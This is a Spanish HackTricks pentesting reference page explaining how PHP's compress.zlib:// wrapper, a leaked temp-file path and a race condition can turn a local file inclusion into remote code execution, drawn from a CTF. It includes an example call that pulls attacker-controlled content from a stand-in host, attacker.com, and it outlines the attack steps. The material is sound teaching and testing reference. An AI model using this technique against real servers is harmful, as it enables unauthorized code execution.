hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

3.6 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

compress.zlib:// y PHP_STREAM_PREFER_STDIO

Un archivo abierto utilizando el protocolo compress.zlib:// con la bandera PHP_STREAM_PREFER_STDIO puede continuar escribiendo datos que llegan a la conexión más tarde en el mismo archivo.

Esto significa que una llamada como:

file_get_contents("compress.zlib://http://attacker.com/file")

Enviaremos una solicitud pidiendo http://attacker.com/file, luego el servidor podría responder la solicitud con una respuesta HTTP válida, mantener la conexión abierta y enviar datos adicionales algún tiempo después que también se escribirán en el archivo.

Puede ver esa información en esta parte del código php-src en main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

    if (flags & PHP_STREAM_PREFER_STDIO) {
        *newstream = php_stream_fopen_tmpfile();
    } else {
        *newstream = php_stream_temp_new();
    }

Condición de Carrera a RCE

Este CTF se resolvió utilizando el truco anterior.

El atacante hará que el servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante utilizando el protocolo compress.zlib.

Mientras esta conexión exista, el atacante exfiltrará la ruta al archivo temporal creado (que es filtrado por el servidor).

Mientras la conexión siga abierta, el atacante explotará una LFI cargando el archivo temporal que controla.

Sin embargo, hay una comprobación en el servidor web que impide la carga de archivos que contienen <?. Por lo tanto, el atacante aprovechará una Condición de Carrera. En la conexión que aún está abierta, el atacante enviará la carga útil de PHP DESPUÉS de que el servidor web haya comprobado si el archivo contiene los caracteres prohibidos, pero ANTES de que cargue su contenido.

Para obtener más información, consulte la descripción de la Condición de Carrera y el CTF en https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer